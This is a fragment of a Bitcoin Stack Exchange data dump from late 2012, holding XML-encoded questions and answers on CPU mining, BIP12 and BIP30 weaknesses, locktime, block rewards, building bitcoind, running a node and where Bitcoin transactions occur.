LastEditorUserId="47827" LastEditDate="2023-02-21T19:29:40.507" LastActivityDate="2023-02-21T19:29:40.507" Title="Can someone explain this [outdated] BIP12 OP_EVAL exploit?" Tags="|script|opcodes|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5899" PostTypeId="1" CreationDate="2012-12-22T16:45:22.000" Score="8" ViewCount="31921" Body="&lt;p&gt;Is there a Bitcoin miner that I can run using the command line on Windows? I want a CPU miner, not a GPU miner.&lt;/p&gt;&#xA;" OwnerUserId="2483" LastEditorUserId="5406" LastEditDate="2016-03-15T09:30:50.397" LastActivityDate="2017-05-24T22:51:35.027" Title="Is there a command line Bitcoin CPU miner for Windows?" Tags="|windows|cpu-mining|mining-software|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5900" PostTypeId="2" ParentId="5899" CreationDate="2012-12-22T17:52:52.637" Score="7" Body="&lt;p&gt;You can install the standard Bitcoin-QT client, navigate to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;\Program Files (x86)\bitcoin\daemon\&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then run &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind -gen=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However this isn't recommended except on the Test network because it is next to impossible to generate any coins this way on the production network.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="9896" LastEditDate="2017-05-24T22:51:35.027" LastActivityDate="2017-05-24T22:51:35.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5901" PostTypeId="2" ParentId="5891" CreationDate="2012-12-22T18:00:51.510" Score="5" Body="&lt;p&gt;If you have encrypted your Bitcoin.org wallet with a passphrase, then only having that passphrase will allow that to be decrypted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a backup of your wallet prior to performing the encryption step, then any coins from that wallet that still have not been spent can be recovered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise, without that passphase to open the wallet you cant get to the private keys inside the wallet, and thus cannot spend those funds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no difference between &quot;lost coins&quot; and &quot;unspent&quot; coins, so no there are nothing more than &lt;a href=&quot;http://bitcointalk.org/index.php?topic=83794.0&quot;&gt;anecdotal evidence&lt;/a&gt; as to how many coins have been lost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are ways to try to recover your wallet &lt;a href=&quot;http://bitcointalk.org/index.php?topic=131619.msg1409498#msg1409498&quot;&gt;based on hints&lt;/a&gt; about what you remember about your passphrase.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-12-22T18:00:51.510" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5902" PostTypeId="2" ParentId="5898" CreationDate="2012-12-22T18:17:32.053" Score="4" Body="&lt;p&gt;Each transaction has a certain number of &quot;sigops&quot;, the number of signature validation script ops like OP_CHECKSIG in its scripts. These script ops are very expensive to compute. Transactions with too many sigops are considered non-standard and will not be relayed by most clients. Blocks with too many sigops in their transactions are illegal and will be rejected entirely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That exploit allows you to include sigops in transactions without increasing the sigop count. It could be used to create a very slow-to-compute transaction that isn't very big size-wise. Not a huge exploit, and it could be worked around, but it demonstrates an important weakness in BIP 12: OP_EVAL scripts can't be analyzed accurately without running them first.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2012-12-22T18:17:32.053" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5903" PostTypeId="1" AcceptedAnswerId="5905" CreationDate="2012-12-22T18:35:03.500" Score="6" ViewCount="772" Body="&lt;p&gt;I'm having trouble understanding the bug that was fixed in &lt;a href=&quot;https://en.bitcoin.it/wiki/BIP_0030&quot; rel=&quot;nofollow&quot;&gt;BIP030&lt;/a&gt;, and how it would be exploited.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the premise of this attack that there would have to be a netsplit and the chain was forked, then subsequently rolled back the old transactions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would the validation psuedo-logic of the following look like?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;There are several potential solutions to this problem:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Guarantee that all coinbases are unique, making duplicate transactions very hard to create.&lt;/li&gt;&#xA;  &lt;li&gt;Remember previous remaining outputs of a given transaction identifier, in case a new transaction with the same identifier is&#xA;  added.&lt;/li&gt;&#xA;  &lt;li&gt;Only allow duplicate transactions in case the previous instance of the transaction had no spendable outputs left. Removing a block from&#xA;  the chain can then safely reset the removed transaction's outputs to&#xA;  nothing.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The reason I'm asking is so I can develop additional validation rules that work in parallel with the existing client.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="2306" LastEditDate="2014-12-13T06:00:05.450" LastActivityDate="2014-12-13T06:00:05.450" Title="Where can I learn more about BIP30; namely the exploit and the background discussion?" Tags="|transactions|security|confirmations|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5904" PostTypeId="2" ParentId="5220" CreationDate="2012-12-22T18:37:06.653" Score="2" Body="&lt;p&gt;You can also check out this site: &lt;a href=&quot;http://earnfreebitcoins.com&quot; rel=&quot;nofollow&quot;&gt;http://earnfreebitcoins.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;EarnFreeBitcoins.com is a website in which you earn small amounts of&#xA;  Bitcoins in exchange for visiting websites for a designated period of&#xA;  time. You may be required to spend anywhere from one minute, up to&#xA;  five minutes or more on the sponsored website. You must spend the full&#xA;  amount of required time on the website in order to recieve payment.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2485" LastEditorUserId="105" LastEditDate="2012-12-22T21:01:37.657" LastActivityDate="2012-12-22T21:01:37.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5905" PostTypeId="2" ParentId="5903" CreationDate="2012-12-22T22:37:51.830" Score="9" Body="&lt;p&gt;The problem was that in case a duplicate transaction was created in a side branch that is afterwards reverted, and is only seen by a certain portion of the network, a fork risk exists. The nodes A that have seen the duplicate transactions and its reversal, will consider the original transaction unspendable (as it was overwritten and subsequently removed from their transaction database in the reorganisation), while nodes B that did not see the duplicate would consider the original spendable. When the original transaction is spent afterwards, and a majority of the network is in B, the network will split, as the A nodes will consider the chain created by B as invalid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The third solution presented is implemented by BIP30 - this was a stopgap solution to prevent the worst from happening. A more complete solution (the first one) being deployed as BIP 34&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="208" LastEditDate="2014-09-12T21:21:38.117" LastActivityDate="2014-09-12T21:21:38.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5906" PostTypeId="2" ParentId="5899" CreationDate="2012-12-22T23:03:38.947" Score="2" Body="&lt;p&gt;One of the best for both LiteCoins and BTC is &lt;/p&gt;&#xA;&#xA;&lt;p&gt;CGminer &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It supports both Linux &amp;amp; Windows &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Download from here &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/ycros/cgminer/downloads&quot; rel=&quot;nofollow&quot;&gt;https://github.com/ycros/cgminer/downloads&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can get complete instructions from &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=28402.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=28402.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or just check the readme including in the zip &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It Supports FGPA GPU and GPU for BTC &amp;amp; GPU for LiteCoins..there is extensive tuning instructions as part of teh community so if you want to get the most bang for your $$ then this is the one :D&lt;/p&gt;&#xA;" OwnerUserId="2464" LastEditorUserId="2464" LastEditDate="2012-12-23T00:41:16.643" LastActivityDate="2012-12-23T00:41:16.643" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5907" PostTypeId="1" CreationDate="2012-12-23T00:04:00.777" Score="5" ViewCount="14099" Body="&lt;p&gt;I'm interested in solo mining on Litecoin.  Where can I learn about (or what math is required) two tell if this is feasible/profitable?&lt;br&gt;&#xA;Currently I have 30+ CPUs running as solo miners for 40 hours and so far nothing has turned up.  Are there any optimizations I should do to the miner?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="5406" LastEditDate="2016-01-20T20:39:58.247" LastActivityDate="2016-01-20T20:39:58.247" Title="Is CPU mining worthwhile for Litecoin? FPGA? GPU?" Tags="|litecoin|solo-mining|mining-profitability|cpu-mining|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5908" PostTypeId="1" CreationDate="2012-12-23T00:12:45.287" Score="5" ViewCount="458" Body="&lt;p&gt;I'm interested in seeing the schema (layout and indexes) that is used in the reference client.  Namely wallet.dat, the bk** files and also the in-memory uncommitted tx.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this exist anywhere for the 7.x client or the newer BerkleyDB format?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to see what, if any changes are being made to accommodate &lt;a href=&quot;https://en.bitcoin.it/wiki/BIP_0034&quot; rel=&quot;nofollow&quot;&gt;BIP 0034&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="2306" LastEditDate="2014-12-13T06:02:06.460" LastActivityDate="2014-12-13T06:02:06.460" Title="What is the schema of the data stores used by the reference client?" Tags="|wallet|bitcoin-core|database|peers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5909" PostTypeId="2" ParentId="5907" CreationDate="2012-12-23T00:58:37.510" Score="2" Body="&lt;p&gt;Litecoin CPU ScryptMiner &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Download &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.mediafire.com/?l8i99fbyn41n97a&quot; rel=&quot;nofollow&quot;&gt;http://www.mediafire.com/?l8i99fbyn41n97a&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an i7 getting 40 k/Hash which is not too bad &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Considering that with cgminer config correctly you will get an k/Hash result similar to the M/Hash result for your GPU mining activities &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check this out for an complete guide of what your outputs should be using both reaper &amp;amp; cgminer &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=117221.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=117221.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think that given i5 cpu and lots as in 30 that u have @ your disposal then LTC should be a goer &lt;/p&gt;&#xA;&#xA;&lt;p&gt;mrb stated that with correctly configered s/w LTC &amp;amp; BTC mining should be on a par of ~ 0.0041/0.0040 BTC/LTC per hour for (600 m-Hash BTC/600 k-hash LTC) GPU card setup&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=131809.msg1414530#msg1414530&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=131809.msg1414530#msg1414530&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2464" LastEditorUserId="2464" LastEditDate="2012-12-23T09:14:45.613" LastActivityDate="2012-12-23T09:14:45.613" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5911" PostTypeId="2" ParentId="5621" CreationDate="2012-12-23T10:45:20.667" Score="1" Body="&lt;p&gt;You need to run both bitcoind and namecoind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be able to create namecoin blocks you will need to do merged mining. Either find pool software that does this out of the box, or implement it yourself following the &lt;a href=&quot;https://en.bitcoin.it/wiki/Merged_mining_specification&quot; rel=&quot;nofollow&quot;&gt;merged mining specification&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other coins that support merged mining work the same way as namecoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Stratum or getblocktemplate (GBT) there should not be any efficiency problems. With the old getwork protocol you may have a slight drop in efficiency from extra long poll notifications. That's because miners may need additional HTTP requests to get enough work after the long poll. You may want to consider whether you want to do long poll only for bitcoin. But as miners move away from getwork this may not be worth bothering with.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2012-12-23T10:45:20.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5912" PostTypeId="1" CreationDate="2012-12-23T18:14:48.040" Score="-2" ViewCount="773" Body="&lt;p&gt;Bitcoin Miner program uses my CPU 99% can you just little make it no laggy and how do i earn bitcoins? in the internet sites and forums they dont sya anything about earning bitcoins &lt;/p&gt;&#xA;" OwnerUserId="2492" LastActivityDate="2012-12-23T21:29:57.803" Title="The bitcoin miner lags my cpu 99% and how i will earn bitcoins" Tags="|cpu|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5913" PostTypeId="2" ParentId="5912" CreationDate="2012-12-23T21:29:57.803" Score="2" Body="&lt;p&gt;Mining with a CPU is just not a sensible way to get bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, you earn bitcoins the same way you earn any other currency. You earn dollars by finding people who have dollars and offering them products, services, or items in exchange for those dollars. It's the same thing with bitcoins. Find people who have bitcoins and offer them something in exchange for them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's extremely difficult to mine at a profit these days. That's probably the hardest way to get bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2012-12-23T21:29:57.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5914" PostTypeId="1" AcceptedAnswerId="5918" CreationDate="2012-12-24T10:53:28.843" Score="10" ViewCount="2553" Body="&lt;p&gt;I am trying to study the locktime feature of transactions ( &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#tx&quot;&gt;https://en.bitcoin.it/wiki/Protocol_specification#tx&lt;/a&gt; ). I have created some raw transactions in the testnet with different locktimes, but, when I send them, they are confirmed as usual. I have also been able to spend the just sent coins immediately. When I dump the block, the locktime field looks correct. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is the locktime checked when confirming a transaction? Can someone point me to the piece of the code that does the checking? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or am I wrong and locktime is really not implemented? &lt;/p&gt;&#xA;" OwnerUserId="2281" LastActivityDate="2016-10-30T21:05:54.477" Title="How is locktime enforced in the standard client?" Tags="|protocol|bitcoind|bitcoin-core|timestamp|locktime|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5915" PostTypeId="1" AcceptedAnswerId="5921" CreationDate="2012-12-24T16:51:45.040" Score="3" ViewCount="6038" Body="&lt;p&gt;I have recently created an api that runs the bitcoind commands. I had it running on another server, but it was setup by someone else. I have been searching for sensible instructions on how to install bitcoind on my new server, but can't find any.&lt;/p&gt;&#xA;" OwnerUserId="2312" LastEditorUserId="1766" LastEditDate="2013-03-20T03:28:43.973" LastActivityDate="2013-04-16T15:14:41.130" Title="How do i install bitcoind on my redhat linux server?" Tags="|bitcoind|server|linux|installation|" AnswerCount="4" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5916" PostTypeId="1" CreationDate="2012-12-24T17:11:32.260" Score="3" ViewCount="652" Body="&lt;p&gt;I'm new to Bitcoin and am trying to wrap my head around where and when bitcoins are used.  I understand that Bitcoin is accepted by a lot of legitimate websites (now reddit, wordpress, etc) for digital goods or services and there are also online market places that sell physical goods.  There also seems to be a lot of illicit activity transacted in Bitcoins since it is (fairly) anonymous.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My questions are basically:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What types of things is bitcoin buying and for what percentage of the total transaction volume are these things responsible?&lt;/li&gt;&#xA;&lt;li&gt;How much of the transaction volume is responsible for physical or digital goods as opposed to just bitcoin trading?&lt;/li&gt;&#xA;&lt;li&gt;Are these markets sustainable or are they likely to disappear (i.e. the illicit activity)?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2497" LastActivityDate="2012-12-27T08:20:49.403" Title="Where do the majority of Bitcoin transactions take place?" Tags="|transactions|trading|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5917" PostTypeId="2" ParentId="5916" CreationDate="2012-12-24T18:47:34.697" Score="6" Body="&lt;p&gt;Because bitcoin is a pseudonymous digital currency, there are no hard statistics available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because one popular service, SatoshiDICE, uses static Bitcoin addresses as the wagering mechanism for the players of its online &quot;Dice&quot; game, the amount of activity related to them &lt;a href=&quot;http://bitcointalk.org/index.php?topic=80312.0&quot;&gt;can be measured&lt;/a&gt;.  It currently represents the majority of bitcoin transactions (but not value) that crosses the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently the Bitcoin network is hitting about 50,000 transactions per-day.  Some of these transactions will be performed for the purpose of mixing coins to protect the privacy of the sender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By far the biggest interest in Bitcoin to-date (going from an educated guess) has been for speculative and investment purposes.  As such a large amount of the activity is transfer of funds to and from (and between) exchanges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ratio of this type of activity versus commerce involving digital and physical goods will heavily favor the speculative/investment but by to what degree is unknown as that data is not shared by the private parties who trade these goods and services.  If it were a ratio of 25:1, that would not be surprising to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While the ratios may change over time as bitcoin gains traction for more mainstream use, any use established at this early time will likely continue -- it will just represent a shrinking slice of a rapidly growing pie.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-12-24T18:47:34.697" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5918" PostTypeId="2" ParentId="5914" CreationDate="2012-12-24T21:01:44.510" Score="6" Body="&lt;p&gt;It's checked in the IsFinal() method of CTransaction. A non-final transaction cannot be included in blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A transaction is final if &lt;em&gt;either&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The lock time is in the past.&lt;/li&gt;&#xA;&lt;li&gt;All of the inputs have sequence numbers equal to UINT_MAX.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The second one is probably what confused you.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2012-12-24T21:01:44.510" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5919" PostTypeId="1" AcceptedAnswerId="5920" CreationDate="2012-12-25T13:37:53.993" Score="0" ViewCount="629" Body="&lt;p&gt;So this is an exercise for fun as we know the block reward already.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But how would you get the bitcoind to show the block reward for the next block?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no bitcoind getblockreward but is there a way to discover the block reward from the commands available in bitcoind.&lt;/p&gt;&#xA;" OwnerUserId="2503" LastActivityDate="2012-12-25T13:55:04.237" Title="Check block reward" Tags="|bitcoind|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5920" PostTypeId="2" ParentId="5919" CreationDate="2012-12-25T13:55:04.237" Score="2" Body="&lt;p&gt;With getblockcount you can get the height of the latest block. Then the reward of the next block is 50 / 2 ^ Floor ((blockcount+1)/210000). In some programming environments 5000000000&gt;&gt;((blockcount+1)/210000) will give the desired result in satoshis.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2012-12-25T13:55:04.237" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5921" PostTypeId="2" ParentId="5915" CreationDate="2012-12-25T15:32:10.120" Score="4" Body="&lt;pre&gt;&lt;code&gt;git clone git://github.com/bitcoin/bitcoin.git&#xA;cd bitcoin/src/&#xA;make -f makefile.unix&#xA;sudo cp bitcoind /usr/local/bin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="196" LastActivityDate="2012-12-25T15:32:10.120" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5922" PostTypeId="2" ParentId="5915" CreationDate="2012-12-25T17:37:17.053" Score="0" Body="&lt;h2&gt;Install Git&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt-get install git-core&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Dependency Build Instructions: Ubuntu &amp;amp; Debian&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Build requirements:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt-get install build-essential&#xA;sudo apt-get install libssl-dev&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;for Ubuntu 12.04+:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt-get install libboost-all-dev&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;db4.8 packages are available at:&#xA; &lt;a href=&quot;https://launchpad.net/~bitcoin/+archive/bitcoin&quot; rel=&quot;nofollow&quot;&gt;https://launchpad.net/~bitcoin/+archive/bitcoin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ubuntu 12.10 has packages for libdb5.1-dev and libdb5.1++-dev,&#xA; but using these will break binary wallet compatibility, and is not recommended.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for other Ubuntu &amp;amp; Debian:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt-get install libdb4.8-dev&#xA;sudo apt-get install libdb4.8++-dev&#xA;sudo apt-get install libboost1.37-dev&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(If using Boost 1.37, append &lt;code&gt;-mt&lt;/code&gt; to the boost libraries in the makefile)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Optional:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt-get install libminiupnpc-dev (see USE_UPNP compile flag)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Retrieve and compile Bitcoin source&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;git clone git://github.com/bitcoin/bitcoin.git&#xA;cd bitcoin/src/&#xA;make -f makefile.unix&#xA;sudo cp bitcoind /usr/local/bin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(much of this pulled directly from the &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/doc/build-unix.txt#L55&quot; rel=&quot;nofollow&quot;&gt;build-unix.txt&lt;/a&gt; instructions)&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2012-12-25T17:37:17.053" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5923" PostTypeId="1" CreationDate="2012-12-26T00:22:36.180" Score="6" ViewCount="309" Body="&lt;p&gt;I'd like to run a headless bitcoind instance on a server, in order to contribute to the network. Are there any specific configuration options that are recommended for that purpose?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My intention was primarily to make the network more secure by providing one more &quot;good&quot; node, though since I'm not familiar with some of the maybe more subtle aspects of the protocol, I'd welcome advice on other ways a single node would or could contribute.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was not necessarily planning to run a miner.&lt;/p&gt;&#xA;" OwnerUserId="2507" LastEditorUserId="2507" LastEditDate="2012-12-26T10:15:00.070" LastActivityDate="2012-12-26T17:07:38.817" Title="How to configure a bitcoind instance solely designed to contribute to the network?" Tags="|bitcoind|network|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5924" PostTypeId="2" ParentId="5923" CreationDate="2012-12-26T14:19:24.327" Score="3" Body="&lt;p&gt;Generally speaking if you want to contribute you have two options:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Become a blockchain peer&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Bitcoin network requires the full chain to be available for download.  If not enough peers allow the full chain to be downloaded, this is a risk to the network.  This isn't CPU intensive but puts a small load on your network IO as a configurable number of peers download the data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Namely you can run bitcoind  and allow inbound access to port 8333.  This will allow people to download the blockchain.  If you see options to run as a &quot;server&quot;  know this runs something different on port 8332 and is considered &quot;sensitive&quot; and should be secured.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I like to visually check on on the process so here is the command I run:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;bitcoind -debug   -logtimestamps   -printtodebugger -printtoconsole&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If your computer can handle it, edit the bitcoin.conf file (location is platform specific) to allow more people to simultaneously connect.  Edit &lt;code&gt;maxconnections=&lt;/code&gt; to whatever you think is best.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Mine&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There isn't much use in mining unless you have a FPGA, or ASIC for Bitcoin.  These rigs are more specialized and competitive.   Take a look at www.butterflylabs.com for an ASIC miner that can plug into your USB port  &lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="1878" LastEditDate="2012-12-26T17:07:38.817" LastActivityDate="2012-12-26T17:07:38.817" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5925" PostTypeId="2" ParentId="4818" CreationDate="2012-12-26T20:31:25.863" Score="7" Body="&lt;p&gt;I have recently created &lt;a href=&quot;http://tpfaucet.appspot.com/&quot;&gt;a Faucet and an eWallet for the TestNet&lt;/a&gt;. It is very basic, but serves its purpose.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-12-26T20:31:25.863" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5927" PostTypeId="2" ParentId="5916" CreationDate="2012-12-27T08:20:49.403" Score="0" Body="&lt;p&gt;I don't have any data, but I would have a hard time believing any one entity out there comes close to driving as much bitcoin usage as The Silk Road does.  I know they process millions of USD in bitcoins every month.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;$22 million dollars a year&#xA;&lt;a href=&quot;http://www.forbes.com/sites/andygreenberg/2012/08/06/black-market-drug-site-silk-road-booming-22-million-in-annual-mostly-illegal-sales/&quot; rel=&quot;nofollow&quot;&gt;http://www.forbes.com/sites/andygreenberg/2012/08/06/black-market-drug-site-silk-road-booming-22-million-in-annual-mostly-illegal-sales/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2510" LastActivityDate="2012-12-27T08:20:49.403" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5929" PostTypeId="2" ParentId="5825" CreationDate="2012-12-27T19:45:07.240" Score="6" Body="&lt;p&gt;I have recently created a TestNet Faucet. It is available on&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://tpfaucet.appspot.com/&quot;&gt;http://tpfaucet.appspot.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this remedies the situation&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer your question - while there is nothing stopping people from charging for TestNet coins, I think they should be freely available to anyone for testing. It lets newcomers get a feel for what Bitcoin is without risking their money. I hope that a few Bitcoin developers (or even the Bitcoin Foundation) will provide TestNet Bitcoins for free as long as the Bitcoin project is used.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-12-27T19:45:07.240" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5931" PostTypeId="1" AcceptedAnswerId="5934" CreationDate="2012-12-28T12:40:15.333" Score="7" ViewCount="3583" Body="&lt;p&gt;Why are all fiat currencies inflationary, and lose value with time? Could governments make them deflationary? What are the advantages of inflationary currency compared with deflationary currency? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why was Bitcoin chosen to be deflationary (limited number of total coins)?&lt;/p&gt;&#xA;" OwnerUserId="2229" LastEditorUserId="516" LastEditDate="2012-12-29T08:46:02.203" LastActivityDate="2021-02-15T06:17:43.587" Title="Why are fiat Currencies inflationary and Bitcoin deflationary?" Tags="|economic-theory|inflation|deflation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
